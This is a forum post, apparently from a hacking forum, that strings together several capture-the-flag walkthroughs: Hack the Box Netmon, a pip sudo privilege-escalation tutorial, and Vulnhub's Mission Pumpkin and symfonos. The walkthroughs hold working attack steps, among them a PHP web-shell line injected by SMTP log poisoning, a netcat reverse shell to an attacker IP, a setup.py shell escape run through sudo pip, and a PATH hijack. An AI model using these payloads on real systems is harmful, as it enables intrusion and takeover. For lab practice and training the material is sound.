Login

**NINZA** · 05-14-2020, 05:50 PM

0			0

Netmon is a recently retired CTF VM on Hack the Box with the objective – Capture the user and root flag. Hack the Box offers a wide range of VMs for practice from beginner to advanced level and it is great for penetration testers and researchers.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of netmon is 10.10.10.152
Penetration Methodology
Scanning

Network Scanning (Nmap)

Enumerating

Browsing the webpage
Enumerating FTP

Exploiting

Anonymous Login in FTP
Reading user.txt

Privilege Escalation

Enumerate for the config file
Logging in Administrator Panel
Exploiting RCE
Reading root.txt

Walkthrough
Let’s start off with scanning with the nmap to check open ports.
nmap -A 10.10.10.152
1
nmap -A 10.10.10.152
Here I found port 21 for FTP, 80 for HTTP, 135 for RPC, 139 for NetBIOS, 445 for SMB are opened, rest were filtered.
[Image: 1.png?w=687&ssl=1]

We immediately proceed towards port 80 when we see it open. We find the PRTG Network Monitor page. But to use this dashboard, we need the login credentials. But we don’t have the access to those credentials at this stage.
[Image: 3.png?w=687&ssl=1]

In the nmap scan earlier, we saw that the FTP port 21 is open as well allows Anonymous Login. So, we login the FTP using the Anonymous as Login as well as password. After successfully logging, we use the ls command to list all the files that are shared. We see that we Users Directory available so we traverse into it using the cd command. Here, we have 2 more directories, Administrator and Public. We don’t have permission to access the Administrator directory so we move into the Public Directory. Here we find the user.txt file. We use the get command to download this file onto our system. Hence, we got our first flag, that is; the user flag.
ftp 10.10.10.152
ls -la
cd Users
ls
cd Public
ls
get user.txt
1
2
3
4
5
6
7
ftp 10.10.10.152
ls -la
cd Users
ls
cd Public
ls
get user.txt
[Image: 4.png?w=687&ssl=1]

Now we need to get the root flag. For this, we went to our most dependable friend, Google. After working our way through some of the PRTG Network Monitor manuals and help pages, we found this

[To see content please register here]

. This gives us the location of the data that PRTG Network Monitor stores, that is “%programdata%\Paessler\PRTG Network Monitor”. As we still have the FTP connection, we went to ProgramData directory and then traversed all the way to the location mentioned. Here we located an old configuration file. We downloaded this file to our system so that we can analyse it closely.
cd ProgramData
ls -la
cd Paessler
ls
cd "PRTG Network Monitor"
ls
get "PRTG Configuration.old.bak"
1
2
3
4
5
6
7
cd ProgramData
ls -la
cd Paessler
ls
cd "PRTG Network Monitor"
ls
get "PRTG Configuration.old.bak"
[Image: 5.png?w=687&ssl=1]

After successfully downloading and searching through many lines of code, we stumbled upon the password, that was used previously. We took a guess here, as this was the previous configuration and it contains the year 2018 and whenever there is a current date in the password then they could be updated with the change in the date to the latest date.
[Image: 6.png?w=687&ssl=1]

This means, that the previous password was PrTg@dmin2018 and since the current year is 2019, we replaced 2018 in the password by 2019. This was an educated guess we made. So, using the new login credentials, we successfully logged in the PRTG Network Monitor Dashboard.
Login Name: prtgadmin
Password: PrTg@dmin2019
1
2
Login Name: prtgadmin
Password: PrTg@dmin2019
[Image: 7.png?w=687&ssl=1]

After looking around the dashboard for some time, we didn’t find anything that could help us in our quest to get the root flag. So, we went to another dependable friend, Exploit DB. We searched the exploit dB for PRTG Network Monitor and found

[To see content please register here]

. On further researching on the internet about this exploit, we found

[To see content please register here]

on GitHub. This script creates a PowerShell file and then it uses it to run commands on the target system to create a user. But in order to work, it needs the cookie that was used in the original login in the dashboard of the PRTG Network Monitor. We capture the request using the Burp Suite. Upon close inspection of the captured packet, we find the cookie that we require.
[Image: 8.png?w=687&ssl=1]

Now, we clone the git directory that contains the script that we require to create a new user. After giving the necessary permissions to the file to run. We run the prtg-exploit.sh file, with the Target IP Address and the cookie, captured as parameters. This script can take some time to run depending on your connectivity speed. But after successfully running it creates a user with following credentials.
Username: pentest
Password: P3nT3st!
1
2
Username: pentest
Password: P3nT3st!

./prtg-exploit.sh -u

[To see content please register here]

-c "_ga=GA1.4.780888731.156187260; _gid=GA1.4.641622581.1562574873; OCTOPUS1813713946=ezQ3N0RENjcwLUFCQzItNDQ1Ri04Q0IyLUZDMjlFOUU3QjQ0Qn0%3D"
1
./prtg-exploit.sh -u

[To see content please register here]

-c "_ga=GA1.4.780888731.156187260; _gid=GA1.4.641622581.1562574873; OCTOPUS1813713946=ezQ3N0RENjcwLUFCQzItNDQ1Ri04Q0IyLUZDMjlFOUU3QjQ0Qn0%3D"
[Image: 9.png?w=687&ssl=1]

Now that, we have the user created on the target machine with Administrative Rights, let’s nab that root flag and complete this challenge. We will use the psexec.py script form the impacket tool kit to connect to the Target machine. You can use any of the methods that are provided in

[To see content please register here]

. Here, we chose to run it directly as a python file. We need the username, password and target IP address as parameters as shown in the image given below. As we can see that after running, psexec gives the shell with Administrator rights. Now, we used the cd command to traverse into the Desktop Directory to find the root flag.
python psexec.py 'pentest Tongue

[email protected]'
cd ..
cd Users\Administrator\Desktop
type root.txt
1
2
3
4
python psexec.py 'pentest Tongue

[email protected]'
cd ..
cd Users\Administrator\Desktop
type root.txt
[Image: 10.png?w=687&ssl=1]

The main objective of this article is to make attentive our readers for the other most expedient command from the list of Linux for pentesters. As we know apart from copying, downloading and searching task user desires other excessive operational mission i.e. installation of packages. So in this article, we are going to make you familiar with the command that can perform such task i.e. “pip”. The main utilities of this command are to install, uninstall, search python packages. So by knowing this functionality of pip command now, we will check how we can acquire its benefit in our mission of Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to pip

Major Operation performed using pip

Exploiting pip

SUID Lab setups for privilege Escalation
Exploiting SUID

Introduction to pip
Before we start, let’s do a quick appendix check and determine what a ‘Python package’ is in actually. It is a Python module which can contain other modules or recursively, other packages. It is the kind of Python package that you import in your Python code. So there are many tools available that help to install such packages and “pip” is one of that which is widely used in today’s era.
The pip is an abbreviation of “python install packages” which is a tool for installing and managing Python packages. This command is very useful for web development as well as for sys-admins who manages cloud computing-based resources. Now we will start by running its help command to know the depth of “pip” operations.
pip --help
1
pip --help
[Image: 1.png?w=687&ssl=1]

Major operations performed by “pip”
List all installed packages: To check the list of all installed python packages in our machine we can use option “list” followed by pip command. The list option has its vital role in pip command as it can perform many operations that a user can need. Some of these functions are listed below:

List installed packages: This will help in listing all the installed packages.

pip list
1
pip list
[Image: 2.png?w=687&ssl=1]

Other option for package listing:
Syntax: pip list <options>
List outdated packages: Whenever we wish to check the list for all those packages that are outdated then we will use “–outdated” option followed by pip list command which will provide the list of all installed outdated packages with its current and latest version.
pip list --outdated
1
pip list --outdated
List installed packages with column formatting: If we want to display the desired output in the specific format then we will use the “–format” option for this purpose. Suppose I want to wish to list the details in column format then I will frame command as below.
pip list --format columns
1
pip list --format columns
List outdated packages with column formatting: This is same as format option consisting some more fields to display the output as the current version, latest version, and type of installed packages.
pip list -o --format columns
1
pip list -o --format columns
List packages that are not dependencies of other packages: whenever anybody required to check the list for those installed packages who do not have any kind of responsibleness of other packages then we will frame command as below.
pip list --outdated --not-required
1
pip list --outdated --not-required
[Image: 3.png?w=687&ssl=1]

To install the new package: As above I have described the main objective of pip command is “installing new packages” so now by grabbing this advantage I am installing ‘flask”.
Syntax: pip install <package name>
pip install flask
1
pip install flask
[Image: 4.png?w=687&ssl=1]

Show information about packages: The “show” option in pip assist to reflects the detailed information about installed packages.
Syntax: pip show <package name>
pip show flask
1
pip show flask
As from below image it can be well understood that after using show option it has produced the output by showing the relevant information of flask.
[Image: 5.png?w=687&ssl=1]

To uninstall any package: Apart from installing the software packages we also required its other phase i.e. uninstallation. The pip command tends this utility too where one can uninstall the desired packages without any hassle.
Syntax: pip uninstall <package name>
pip uninstall jinja2
1
pip uninstall jinja2
Here in the below image, I’m showing to uninstall “jinja2” which is a modern-day templating language for Python developers.
[Image: 6.png?w=687&ssl=1]

To freeze any package: Freezing is a procedure where

[To see content please register here]

reads the versions of all installed packages in a local virtual atmosphere and then produces a text file with the package version for each python package stated. For performing this operation use option “freeze” as shown below.
Syntax: pip freeze > <filename>
pip freeze > komal.txt
1
pip freeze > komal.txt
[Image: 7.png?w=687&ssl=1]

To search for an installed package: The search option helps to search for an available Python package. The search term generates quite a widespread group of packages.
Syntax: pip search <package name>
pip search keyring
1
pip search keyring
Most of the time, we wish to hunt for packages directly on the

[To see content please register here]

website. So PyPI delivers such search abilities for its index and a way to filter results. Now I’m framing command as shown below to search for “keyring”.
[Image: 9.png?w=687&ssl=1]

To create a hash for any package: A Hash Value is a string value of specific length which is the result of calculation of a Hashing Algorithm. One of the chief uses of Hash Values is to define the Integrity of any Data (which can be a file, attachments, downloads etc).
Syntax: pip hash <package name>
pip hash rockyou.txt
1
pip hash rockyou.txt
The pip provides this functionality too to maintain the integrity of installed packages. In below image, I’m using this option for creating hash value of a file i.e. “rockyou.txt.
[Image: 10.png?w=687&ssl=1]

To download any file or package: Instead of above all described task “pip” also supports the functionality to upload, download, read etc. for any file. Here I’m using one of these i.e. download the package. Pip download use to download file and package into default path or can do the same for a specific path.
In below image I have used this to download a compressed file from remote location.
Syntax: pip download <path>
pip download

[To see content please register here]

1
pip download

[To see content please register here]

Exploiting pip
Sudo Rights Lab setups for Privilege Escalation
Now we will start our task of privilege escalation. For this very first we have to set up our lab of pip command with administrative rights. After that we will check for the pip command that what influence it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
test All=(root) NOPASSWD: /usr/bin/pip
1
test All=(root) NOPASSWD: /usr/bin/pip
[Image: 12.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting pip service by taking the privilege of sudoer’s permission. Suppose we got the sessions of victim’s machine that will assist us to have local user access of the targeted system through which we can escalate the root user rights.
Very first we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the pip command as “root” without a password.
sudo -l
1
sudo -l
Now after knowing the fact that test user attains admin rights so, taking this benefit here we can use pip command to run in privileged context and can be used to access the file system, escalate or maintain access with higher privileges if permitted on sudo.
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
Conclusion: Hence we have successfully exploited pip by achieving its functionality after granting higher privilege.
[Image: 13.png?w=687&ssl=1]

Reference link:

[To see content please register here]

Today we are going to solve another CTF challenge known as mission Pumpkin and credit for making this VM machine goes to Jayanth which is designed for people who are beginners in the penetration testing field. The mission of this CTF is to gain access to PumpkinGarden_key file stored in the root account. So, let’s proceed towards solve this Mission Pumpkin.
You can download this VM from vulnhub.com:

[To see content please register here]

Security Level: Beginner
Penetration Methodology:
Scanning

Nmap

Enumeration

Anonymous FTP login
Web Directory Search

Exploiting

SSH connect

Privilege Escalation
Scanning
Let’s start with our first step which is scanning, for which we will use Nmap tool to check open ports states.
nmap -p- -A 192.168.0.14
1
nmap -p- -A 192.168.0.14
Here as we can see that port 21 for FTP is open and anonymous user can login ftp. Moreover, we can also observe that http is service in running on port 1515 and open ssh service is running on port 3535. Now we will move towards our next step which is enumeration.
[Image: 1.png?w=687&ssl=1]

Enumeration
First, we will try to connect through ftp with anonymous as username and password. Here we have found note.txt then we will transfer this file in our system
ls
get note.txt
cat note.txt
1
2
3
ls
get note.txt
cat note.txt
[Image: 2.png?w=687&ssl=1]

Now as we had seen that Apache service was running on port 1515. So, we will open that in our browser where we have not found anything interesting.
[Image: 3.png?w=687&ssl=1]

Now we will use dirb for web directory enumeration and we will found the /img directory there.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Inside the image directory; we got a file named hidden_secrets.
[Image: 5.png?w=687&ssl=1]

When we opened that file, we got our next clue which was a secret key.
[Image: 6.png?w=687&ssl=1]

This key is encrypted in base64 so first we will decode it to get the clue.
echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d
1
echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d
Now we are assuming that these can be the usernames Confused

carecrow and passwords:5Qn@$y.
[Image: 7.png?w=687&ssl=1]

Exploiting
Now we will try to connect through ssh with help of credential found above. after login as scarecrow here we have found file note.txt and after opening this we will get another clue which is password. So further we will check the list of users in etc/passwd file.
We got the list of users, now we will switch to goblin user and enter the password key Y0n$M4sv3D1t and we are successful login by doing so.
ssh [email protected] -p3535
ls
tail /etc/passwd
su goblin
1
2
3
4
ssh [email protected] -p3535
ls
tail /etc/passwd
su goblin
In goblin user, we found another note file which contains a link of exploit db for exploiting as shown in the image at the bottom.
[Image: 9.png?w=687&ssl=1]

Now we will click on the link which is provided there and downloaded the bash file which holds the method to gain access of root.
cat 38362.sh
1
cat 38362.sh
[Image: 10.png?w=687&ssl=1]

So, as we run the commands which we have got we will get the root access and we are logged in as root. We have got pumpkeygarden_key here which reflects that we have solved this CTF successfully.
[Image: 11.png?w=687&ssl=1]

This is another post on vulnhub CTF “named as “symfonos” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.
You can download it from here:

[To see content please register here]

Level: Beginner to Intermediate
Penetrating Methodologies
Scanning

Netdiscover
Nmap

Enumeration

SMB Shares folder
Wpscan

Exploiting

Exploiting WordPress again LFI
LFI to RCE via SMTP log Poising

Privilege Escalation

PATH Variable
Capture the flag

Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687&ssl=1]

So, we have our target IP 192.168.0.16. Now, let’s scan the services and ports via nmap.
nmap -A 192.168.0.16
1
nmap -A 192.168.0.16
[Image: 2.png?w=687&ssl=1]

Enumeration
After scanning, we go to network enumeration and for that I used enum4linux. Here I found a user account helios and share directory /anonymous & /helios
enum4linux 192.168.0.16
1
enum4linux 192.168.0.16
[Image: 3.png?w=687&ssl=1]

So try to connect with the shared network for accessing the/anonymous directory by connecting through smb.
[Image: 4.png?w=687&ssl=1]

So, in this shared folder I found a text file that I had explored here as shown below. The /attention.txt file gave some hint for user password as highlighted in the image. Hopefully, we can use any of these passwords to access a shared folder /helios.
[Image: 5.png?w=687&ssl=1]

Further, I try to access /helios using “qwerty” as login password and then I explored other files research.txt and todo.txt, although the research.txt was not much helpful but todo.txt gave a hint for /h3l105 that could be web file or web directory.
[Image: 6.png?w=687&ssl=1]

So, navigate to a web browser to access /h3l105 and found it as a WordPress website
[Image: 7.png?w=687&ssl=1]

Then I have added the host inside /etc/hosts file and move ahead for scanning vulnerability.
[Image: 8.png?w=687&ssl=1]

Further, we used wpscan for vulnerability scanning on the website. To do so we run the following command:
wpscan --url

[To see content please register here]

--enumerate p
1
wpscan --url

[To see content please register here]

--enumerate p
[Image: 9.png?w=687&ssl=1]

Wpscan has shown the exploit is available for a plugin which is vulnerable to LFI (Local File Inclusion).
[Image: 10.png?w=687&ssl=1]

On exploring the following link, we got proof-of-concept would be to load passwd file.

[To see content please register here]

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
1
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
[Image: 11.1.png?w=687&ssl=1]

As a result, we have accessed the passwd file and it proved that this site is vulnerable to LFI. Now through this LFI, I will try to create Remote code execution.

[To see content please register here]

1

[To see content please register here]

To escalate LFI to RCE we can use SMTP log poison approach and therefore we connect to SMTP service via telnet and they type the following command to inject malicious php code.
telnet 192.168.0.16 25
1
telnet 192.168.0.16 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via the command line (CLI) of this machine and inject malicious php code via data.
[Image: 12.png?w=687&ssl=1]

<?php system($_GET['c']); ?>
1
<?php system($_GET['c']); ?>
As our goal is to inject PHP code into the logs and this stage is called logfile poisoning and we can clearly see that details of mail.log, as well as execute comment given through cmd ©; now execute id as cmd comment to verify user-id and confirm its result from inside the given screenshot.
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
1
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
[Image: 16.png?w=687&ssl=1]

This technique is known as

[To see content please register here]

and through such type of vulnerability, we can easily take the reverse shell of the victim’s machine.
Therefore, execute the following URL to run netcat reverse command and start netcat listener on kali:
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc -e /bin/sh 192.168.0.10 1234
1
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc -e /bin/sh 192.168.0.10 1234
[Image: 17.png?w=687&ssl=1]

Wow!! We got a reverse connection on netcat as shown in the below image. Further, we need to escalate the privilege from low privilege shell to higher.
nc -lvp 1234
1
nc -lvp 1234
Therefore, on spawning local shell I use find command to identify SUID enable binaries. Here I found SUID bit, is enabled for /opt/statuscheck.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Further, we use string command for extracting metadata of statuscheck where it was trying to call curl but get a fatal error when program executes. Such type of error occurs due to missing path variable in the current directory.
To know more, read from here:

[To see content please register here]

Taking advance of this loophole we try to export path for rouge curl which will call /bin/bash on executing the statuscheck program
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
1
2
3
4
5
6
7
8
9
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
[Image: 19.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis